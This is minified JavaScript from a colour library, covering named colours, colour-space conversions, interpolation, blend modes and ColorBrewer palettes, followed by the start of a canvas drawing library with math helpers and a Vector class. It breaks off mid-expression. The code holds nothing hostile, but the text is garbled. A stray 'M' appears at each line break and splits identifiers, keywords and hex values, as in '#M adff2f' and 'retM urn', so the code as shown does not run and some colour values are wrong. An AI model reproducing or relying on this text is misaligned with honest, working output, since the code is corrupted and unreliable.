rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
